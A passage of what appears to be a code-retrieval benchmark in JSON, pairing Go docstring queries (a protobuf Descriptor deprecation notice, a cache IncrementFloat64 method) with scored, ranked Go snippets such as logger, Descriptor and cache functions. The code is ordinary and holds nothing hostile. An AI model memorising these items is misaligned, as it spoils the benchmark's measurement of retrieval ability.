"b89ac03cd57b2aaf392f384ed41ea93c", "score": "0.6506808", "text": "func (l *Logger) Info(ctx context.Context, data interface{}, restOfData ...interface{}) {\n\tl.log(LevelInfo, ctx, data, restOfData...)\n}", "title": "" }, { "docid": "27e94edf01a9f581003f2c6479164103", "score": "0.64991367", "text": "func (l HaystackLogger) Info(format string, v ...interface{}) {\n\tl.logger.Info().CallerSkipFrame(1).Msgf(format, v...)\n}", "title": "" }, { "docid": "d751440f144bfdd23a77b7bb012c52da", "score": "0.6493712", "text": "func (l *NullLogger) Info(msg string, args ...interface{}) {\n}", "title": "" }, { "docid": "605eef11105ff634cbd88b373c39c27e", "score": "0.6483344", "text": "func ExampleInfo() {\n\tsetup()\n\tlog.Info(context.Background()).Msg(\"hello world\")\n\n\t// Output: {\"level\":\"info\",\"time\":1199811905,\"message\":\"hello world\"}\n}", "title": "" }, { "docid": "ba9dbc375bd56feb01a5022fb608e08e", "score": "0.6483281", "text": "func (Noop) Infof(string, ...interface{}) {}", "title": "" }, { "docid": "70213053e2470ae7b9f2f5bc22764e24", "score": "0.647743", "text": "func Info(v ...interface{}) {\n\tinfoLogger.Output(2, fmt.Sprint(v...))\n}", "title": "" }, { "docid": "fe1ab27f1039ea89f3aaddeccb981486", "score": "0.64773697", "text": "func Info(ctx context.Context, msg string, keysAndValues ...interface{}) {\n\tInfov(ctx, 1, msg, keysAndValues...)\n}", "title": "" }, { "docid": "3f7d80b236ae9a974a1bf58bdc94399f", "score": "0.6458024", "text": "func Info(msg string, data interface{}) {\n\tlog.Info(msg, data)\n}", "title": "" }, { "docid": "9f7d65492352b922b4b9373f07fe9df2", "score": "0.6454941", "text": "func Info(args ...interface{}) {\n\tlog.Info(args)\n}", "title": "" }, { "docid": "345e20c3ad3bd68a60348c9a802c5ded", "score": "0.64507735", "text": "func (l *logger) Info(msg *LogMessage) {\n\tcd := CheckDetail{\n\t\tType: DetailInfo,\n\t\tMsg: *msg,\n\t}\n\tl.logs = append(l.logs, cd)\n}", "title": "" }, { "docid": "a0d5405461ea6d5ab5e41d2145245208", "score": "0.6450353", "text": "func (m *MockUi) Info(arg0 string) {\n\tm.ctrl.Call(m, \"Info\", arg0)\n}", "title": "" }, { "docid": "a4e7f367e5eb8ee0cc2853d024488c09", "score": "0.64431393", "text": "func (l *SimpleLogger) Info(args ...interface{}) {\n\tl.log(LevelInfo, args...)\n}", "title": "" }, { "docid": "18c180683e674fa77309b865f61ddd5c", "score": "0.64415246", "text": "func MustInfo(format string, v ...interface{}) {\n\tout(max, Info, format, v...)\n}", "title": "" }, { "docid": "7b4e4dbbe9a2b6cbd0dc8eb6c03d1ec3", "score": "0.64373475", "text": "func (logger *subLogger) Info(a ...interface{}) {\n\tif logger != nil {\n\t\tlogger.internalLog(levelInfo, notATrace, \"\", a...)\n\t} else {\n\t\tlogger.internalLog(levelInfo, notATrace, \"\", a...)\n\t}\n}", "title": "" }, { "docid": "8367e4ade8155655096346214f17e8a2", "score": "0.6434515", "text": "func (l iLogger) Info(msg ...interface{}) {\n\tif l.isLogLevel(info) {\n\t\tlogger(l.name, \"INFO \", msg)\n\t}\n}", "title": "" }, { "docid": "a4f0928b632da7a2c638f6cfe3008c68", "score": "0.64340234", "text": "func (l *LoudLogger) Info(args ...interface{}) {\n\tlog.Println(args...)\n}", "title": "" }, { "docid": "9218c4b5c4b303f8b041391d00e7d0bf", "score": "0.64241207", "text": "func (log *Logger) Info(msg string, fields ...zapcore.Field) {\n\tif ce := log.check(InfoLevel, msg); ce != nil {\n\t\tce.Write(fields...)\n\t}\n}", "title": "" }, { "docid": "1244e73f95bff64b53c4df1e538e1fd2", "score": "0.6419362", "text": "func (p *Provider) Info(context.Context) (*stack.InfoResponse, error) {\n\treturn nil, p.err\n}", "title": "" }, { "docid": "a46c6fb925c43c3af484213b5e35c089", "score": "0.64162683", "text": "func Info(msg string, ctx ...interface{}) {\n\troot.write(msg, LvlInfo, ctx)\n}", "title": "" } ]
9e6363395edff9fcd1c20309ae8d0488
Deprecated: Use ListCustomerOrderRes.ProtoReflect.Descriptor instead.
[ { "docid": "a4eb3b03a1a85895c1117fac3ed5273c", "score": "0.7782499", "text": "func (*ListCustomerOrderRes) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{6}\n}", "title": "" } ]
[ { "docid": "173fac13a9c73392bc512c73eed80c35", "score": "0.7519612", "text": "func (*ListCustomerOrderReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "2de1d987637b4a59801427a90226f038", "score": "0.7026035", "text": "func (*ListCustomersRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "5bac97c39323dc1ea5914f8087ea3aa7", "score": "0.6892914", "text": "func (*ListOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "590ece40b78afeb155a99914faf9cc69", "score": "0.6891764", "text": "func (*ListCustomersResponse) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "e788a1901c85335c983de0b881b9b5b1", "score": "0.6883729", "text": "func (*ListOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "9e4656d689f9331e472a5fb22b3dcc76", "score": "0.6849104", "text": "func (*ListOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "f3694817dfea98c83f593a6710eae38b", "score": "0.6691029", "text": "func (*ListOrdersReply) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "f42c09d587d87c873888f7db65bef7fd", "score": "0.66481614", "text": "func (*DeleteCustomerResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_usage_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "7f948d4ef3b2b520dee00fb7e5c684ae", "score": "0.6637015", "text": "func (*DeleteCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_usage_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "808338f3f92f4b9d1e287c3fc13f1b24", "score": "0.6636952", "text": "func (*SubaccountOrdersListRequest) Descriptor() ([]byte, []int) {\n\treturn file_injective_spot_exchange_rpc_proto_rawDescGZIP(), []int{24}\n}", "title": "" }, { "docid": "8bbc4f67fdf55d5ee2f20524a0dc56f3", "score": "0.66343075", "text": "func (*ListOrdersResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "1f731ce2ba6e86d87888993423c5478e", "score": "0.66195184", "text": "func (*OrderListResponse) Descriptor() ([]byte, []int) {\n\treturn file_order_order_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "29c755501ca55d0e4a112252b123c039", "score": "0.66029555", "text": "func (*ListOrdersResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "15bafb4fd7687cee4aa2464dbf1e508b", "score": "0.65839016", "text": "func (*OrderListRequest) Descriptor() ([]byte, []int) {\n\treturn file_order_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "5bbd8a49caafccd2253176f4d712b8d3", "score": "0.655022", "text": "func (*Customer) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "fb7be1d2aa9c47d2dcdb1d04131c7d69", "score": "0.6508193", "text": "func (*DeleteOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "4c9b9a3b271eb3c0ae5d88d4321ead4d", "score": "0.64893496", "text": "func (*GetOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "18de233dbbe145becd89aa38ca364a03", "score": "0.64884615", "text": "func (*OrderListReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "831ff70f5f17042e483a61db4ee9adac", "score": "0.6471175", "text": "func (*CustomerMetadata) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "9609f7ac93684e6da37557c5303cdc95", "score": "0.646386", "text": "func (*DeleteOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "799268cd4e98571a85c1379665786b7a", "score": "0.64622986", "text": "func (*OrderListResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "ce2ca821c462b16df329657bb59c7d11", "score": "0.645249", "text": "func (*GetOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "acdd92548d03c5e60173372ab305b77c", "score": "0.6452221", "text": "func (*DeleteOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "cabdebc35183d98ef61332ed9dbd69f9", "score": "0.64324385", "text": "func (*OrderDeleteReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "e3288e27044c16bba0aac85f10fdcd49", "score": "0.63861895", "text": "func (*OrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_injective_spot_exchange_rpc_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "46b28feb3121a928b3c30bed50341a49", "score": "0.6372362", "text": "func (*OrderDeleteResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "4dfe0f07c8634290d8b3ec82fe2333b9", "score": "0.6366595", "text": "func (*SubaccountOrdersListResponse) Descriptor() ([]byte, []int) {\n\treturn file_injective_spot_exchange_rpc_proto_rawDescGZIP(), []int{25}\n}", "title": "" }, { "docid": "cbf0d67111d66567feff50bf3d143c78", "score": "0.63593954", "text": "func (*GetOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_orders_protocol_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "f28ba0c4f440fdd4e8529f686e64247c", "score": "0.6358291", "text": "func (*DeleteOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "fc0395693a2e96d61cd0530884df7d3b", "score": "0.63388425", "text": "func (*OrderReturnReasonDeleteReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{61}\n}", "title": "" }, { "docid": "1140c8d47954c6acac44071899d8ae11", "score": "0.6337863", "text": "func (*DeleteOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_order_order_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "64082fffa69e655f33b4a12f63121f88", "score": "0.6335085", "text": "func (*OrderReturnReasonListReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{56}\n}", "title": "" }, { "docid": "38d79eff74d76572260d59cf263efd96", "score": "0.63335866", "text": "func (*UpdateOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "89f6d7209b852ddc6a23671bf0a36e34", "score": "0.6321915", "text": "func (*UpdateOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "fd57c21371127267a6429bc8de1a8cef", "score": "0.6321469", "text": "func (*DeleteOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "f6dda8c6f83986c8e0979488a71be6d0", "score": "0.63167566", "text": "func (*ReadOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "cb4d68278c15f693628c4fa7284c3d46", "score": "0.63125527", "text": "func (*DeleteOrderReply) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "ef7d875152ba77b8103c795fea7ef1fc", "score": "0.62985146", "text": "func (*UpdateOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "68aa59e4f4194d9366d75766254b022b", "score": "0.6293788", "text": "func (*GetOrderMessageReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "621e77771740e65bb871ea5cd647551a", "score": "0.62857145", "text": "func (*InviteCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "d0e7721d57da7673c235df5ff2b603d2", "score": "0.6274664", "text": "func (*GetOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "e1f26bbde98234449fa17a3fa6f8b5d2", "score": "0.6254836", "text": "func (*OrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_order_order_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "daefa3a561b9cde89d01f7a833db1557", "score": "0.6251963", "text": "func (*LookOrdersReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "7bdab91557ab3dfa331dbbff083258a3", "score": "0.6245398", "text": "func (*GetOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "ee6a6b32fb6f2b22ba42cdfc91e15345", "score": "0.62393934", "text": "func (*OrderListData) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "1b6d89f74e2419a827afbffd825100b1", "score": "0.6234388", "text": "func (*CreateOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e34b723f763a7af3cc012944d12e9640", "score": "0.62262315", "text": "func (*CreatOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "92516b0dbe0a96bd0e4d55c6970ae56b", "score": "0.62170655", "text": "func (*ListRequest) Descriptor() ([]byte, []int) {\n\treturn file_service_comment_proto_comment_comment_service_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a91bc5dadeeef549f42989a3f0be1431", "score": "0.6216116", "text": "func (*RespCancelOrder) Descriptor() ([]byte, []int) {\n\treturn file_proto_order_order_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "2c7347bd721ccb8db621c0740fbdf917", "score": "0.6212323", "text": "func (*OrderOperateHistoryListReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{38}\n}", "title": "" }, { "docid": "289b6c6ada271031d3e4ee85fa866bc7", "score": "0.62119246", "text": "func (*ReqTokenSellOrder) Descriptor() ([]byte, []int) {\n\treturn file_trade_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "fc68da275a08b421afdb2c792de45c2b", "score": "0.61934817", "text": "func (*OrderAddResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d29b66919a191b8348da740f8613c1cb", "score": "0.61906457", "text": "func (*OrderReturnReasonDeleteResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{62}\n}", "title": "" }, { "docid": "81f49931c68cfdf9b7cac453c3ed1251", "score": "0.61857504", "text": "func (*OrderReceiveReq) Descriptor() ([]byte, []int) {\n\treturn file_waybill_center_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "6f28034689b676563431220a2ca5bbf0", "score": "0.6181825", "text": "func (*Request) Descriptor() ([]byte, []int) {\n\treturn file_Trd_GetHistoryOrderList_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "5ed1b2bf753fecb9653d7a6cc89359ba", "score": "0.61775714", "text": "func (*CreatOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "531adbcc3c6c4b2327f1a055b97f7294", "score": "0.6176863", "text": "func (*S2C) Descriptor() ([]byte, []int) {\n\treturn file_Trd_GetHistoryOrderList_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d36ce01ddf499d3590810b7581cc93a1", "score": "0.6175906", "text": "func (*OrderReturnApplyDeleteReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{52}\n}", "title": "" }, { "docid": "17c08a6bf76cec04b1831da33d33aecd", "score": "0.6172223", "text": "func (*OrderCommentReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "28969814a0f1691cf90c4950bd94549d", "score": "0.6169491", "text": "func (*OrderReturnReasonListResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{58}\n}", "title": "" }, { "docid": "f781054facdbbce626671f9b08759fd6", "score": "0.61689967", "text": "func (*DeleteOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_order_order_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "7f771b9efaa27265642d67e87ac24017", "score": "0.6167666", "text": "func (*ListFooRequest) Descriptor() ([]byte, []int) {\n\treturn file_feature_demo_demo_service_proto_rawDescGZIP(), []int{17}\n}", "title": "" }, { "docid": "eacee960b719f044d0e1851035ada4d3", "score": "0.6166228", "text": "func (*OrderReturnApplyDeleteResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{53}\n}", "title": "" }, { "docid": "e1e94fb458cf1e850063152fa10ac429", "score": "0.6164286", "text": "func (*UpdateOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v2_order_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "5a7cace78b13b2c7484f6e2af4f84441", "score": "0.61626893", "text": "func (*GetOrderMessageRsp) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "1f82dc793a80a41cd21340287529466d", "score": "0.615936", "text": "func (*UpdateOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_order_order_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "ceace3449499dbff63d4e23aebdc1f92", "score": "0.615859", "text": "func (*OrderCommentRsp) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "c02e31cb5ffea49249783faf77a906ff", "score": "0.6147346", "text": "func (*SuspendCustomerRequest) Descriptor() ([]byte, []int) {\n\treturn file_yandex_cloud_billing_v1_customer_service_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "7d547deb8966d0e258d90f4035bebfee", "score": "0.61431706", "text": "func (*OrderAddReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "9e742498a440fabb3b9c1ef352824ea6", "score": "0.6142424", "text": "func (*UpdateOrderReply) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "d4b4871aebfa8c6f957e673b77dee2d6", "score": "0.6140877", "text": "func (*UpdateOrderResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_v1_order_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "76856203d2ad16e8f8fd7233f1bf59aa", "score": "0.61364883", "text": "func (*OrderInfoReq) Descriptor() ([]byte, []int) {\n\treturn file_proto_orderinfo_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "9054c7864e8a9cafc303990c12cb6fcb", "score": "0.6135412", "text": "func (*OrderReturnApplyListReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{47}\n}", "title": "" }, { "docid": "f4a87b8378906a99d14a1cdbd67843a9", "score": "0.61353964", "text": "func (*ReadOrderReply) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "5e93173112d4685005979bf5a38ededd", "score": "0.61334425", "text": "func (*OrderItemDeleteReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{34}\n}", "title": "" }, { "docid": "a6b2d73be98dfc7c244eeeeabd2d1044", "score": "0.61327064", "text": "func (*OrderUpdateResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "887b9af032f53a59393042e7b793f81b", "score": "0.61310357", "text": "func (*GetOrderReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "c1f885abd939734cc1805c5f9f24cd5b", "score": "0.61286116", "text": "func (*OrderReturnReasonUpdateReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{59}\n}", "title": "" }, { "docid": "f9afb8a035952f58d7b8be12bc6d35d2", "score": "0.612441", "text": "func (*LookAlreadyOrdersReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "64b3bc0d00000fdc646c30d08e953e38", "score": "0.6123185", "text": "func (*OrderReturnReasonListData) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{57}\n}", "title": "" }, { "docid": "4a30e0eb143c1cd869a43e381fc722c3", "score": "0.61216664", "text": "func (*ReqCancelOrder) Descriptor() ([]byte, []int) {\n\treturn file_proto_order_order_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "6aed494386e48f4aba63a5880aee243e", "score": "0.61208624", "text": "func (*Order) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "c44f3877b84f588d7485012ca361f1a3", "score": "0.61167806", "text": "func (*CreateOrderReply) Descriptor() ([]byte, []int) {\n\treturn file_ordercomm_order_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "cf4874ea2810911de7204c3b2477a7b0", "score": "0.61159647", "text": "func (*ReqTokenBuyOrder) Descriptor() ([]byte, []int) {\n\treturn file_trade_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "7b5383e3f8a4ddd0bf15557705379b6a", "score": "0.6111924", "text": "func (*GetOrdersResponse) Descriptor() ([]byte, []int) {\n\treturn file_orders_protocol_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "3d7e7e182f348c68e0796c9a11ffdbd3", "score": "0.6110571", "text": "func (*OrderReturnApplyListResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{49}\n}", "title": "" }, { "docid": "3d3e1848475a9047839907cc4575d1a9", "score": "0.61052716", "text": "func (x *fastReflection_BuyOrderBatchSelector) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_BuyOrderBatchSelector\n}", "title": "" }, { "docid": "0cc11aa32874fdd027db0d8183ec9687", "score": "0.60999167", "text": "func (*GetOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_protos_proto_rawDescGZIP(), []int{38}\n}", "title": "" }, { "docid": "48ab4c3ea0253b03d254022f2bdb1204", "score": "0.60958296", "text": "func (*LookOrdersRsp) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "f0352d40b9130c5128e1fbf805e8c292", "score": "0.60953707", "text": "func (*OrderReturnReasonAddReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{54}\n}", "title": "" }, { "docid": "74ff65bad12fa887c30ffd86c38a9ead", "score": "0.60946846", "text": "func (*CancelOrderReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "4901f82fb0bd7beb16a975f100de8382", "score": "0.6083708", "text": "func (*OrderUpdateReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "f5ff75e824bedb9632f5908085401a4e", "score": "0.60803723", "text": "func (*OrderItemListReq) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{29}\n}", "title": "" }, { "docid": "753b507bfb46b85d8e9993a9498021c6", "score": "0.60796386", "text": "func (*OrderOperateHistoryListResp) Descriptor() ([]byte, []int) {\n\treturn file_api_oms_v1_oms_proto_rawDescGZIP(), []int{40}\n}", "title": "" }, { "docid": "ea7254707ef26087fdc79c59142d5151", "score": "0.60781825", "text": "func (*GetOrderReq) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b69aa6c6ea7fa268edc9b99c182a1172", "score": "0.60761833", "text": "func (*ListResponse) Descriptor() ([]byte, []int) {\n\treturn file_service_comment_proto_comment_comment_service_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "58a8c5d51a578d6604b71f0bcd1bfd6e", "score": "0.60696566", "text": "func (*ListRequest) Descriptor() ([]byte, []int) {\n\treturn file_internal_proto_price_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a21abc525a911c001b41b08ec35b2b22", "score": "0.6065775", "text": "func (*ReplyTradeOrders) Descriptor() ([]byte, []int) {\n\treturn file_trade_proto_rawDescGZIP(), []int{25}\n}", "title": "" }, { "docid": "ded4f8da59471b13722e240e13f475a1", "score": "0.6064576", "text": "func (*Order) Descriptor() ([]byte, []int) {\n\treturn file_nodeserv_controlapi_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "6e08c0cb919185b45a89ba27f1bda3b8", "score": "0.60633004", "text": "func (*CancelOrderRes) Descriptor() ([]byte, []int) {\n\treturn file_order_proto_rawDescGZIP(), []int{8}\n}", "title": "" } ]
d379bb739636da2a9baa3101bfa5d85e
IncrementFloat64 increments an float64, if the key doesn't exist or is expired then create the key initialized to 0 and increment it automatically.
[ { "docid": "45af7ed876a15c56aa065f2a5a8c7354", "score": "0.8085541", "text": "func (c *fcache) IncrementFloat64(k string, n float64) error {\n\tc.Lock()\n\tv, found := c.items[k]\n\tif !found || v.Expired() {\n\t\tc.setWithTTL(k, 0+n, c.e)\n\t\tc.Unlock()\n\t\treturn nil\n\t}\n\trv, ok := v.Object.(float64)\n\tif !ok {\n\t\tc.Unlock()\n\t\treturn fmt.Errorf(\"Value not an int64\")\n\t}\n\tv.Object = rv + n\n\tc.Unlock()\n\treturn nil\n}", "title": "" } ]
[ { "docid": "e44af3ba069921976308a2babbfef876", "score": "0.793849", "text": "func (c *noopCache) IncrementFloat64(k string, n float64) (float64, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "9342e28d7bfed057378a7a65fa1822d0", "score": "0.72354954", "text": "func (c *noopCache) IncrementFloat(k string, n float64) error {\n\treturn nil\n}", "title": "" }, { "docid": "5df86541c0879159547aa05c12baa11b", "score": "0.66583335", "text": "func (c *noopCache) IncrementFloat32(k string, n float32) (float32, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "a84709b1833991396ddcd312cf738001", "score": "0.6653757", "text": "func (c *fcache) IncrementInt64(k string, n int64) error {\n\tc.Lock()\n\tv, found := c.items[k]\n\tif !found || v.Expired() {\n\t\tc.setWithTTL(k, 0+n, c.e)\n\t\tc.Unlock()\n\t\treturn nil\n\t}\n\trv, ok := v.Object.(int64)\n\tif !ok {\n\t\tc.Unlock()\n\t\treturn fmt.Errorf(\"Value not an int64\")\n\t}\n\tv.Object = rv + n\n\tc.Unlock()\n\treturn nil\n}", "title": "" }, { "docid": "6d1ffd3b557a56c0f50fcc1f2412e718", "score": "0.6471512", "text": "func (s *Store) Increment(key string, value string, expire int) error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\tcurrent, exist := s.store[key]\n\tif !exist {\n\t\ts.set(key, value, expire)\n\t}\n\n\ty, err := strconv.Atoi(value)\n\tif err != nil {\n\t\treturn err\n\t}\n\tx, err := strconv.Atoi(current.Value.(*Node).value)\n\tif err != nil {\n\t\treturn 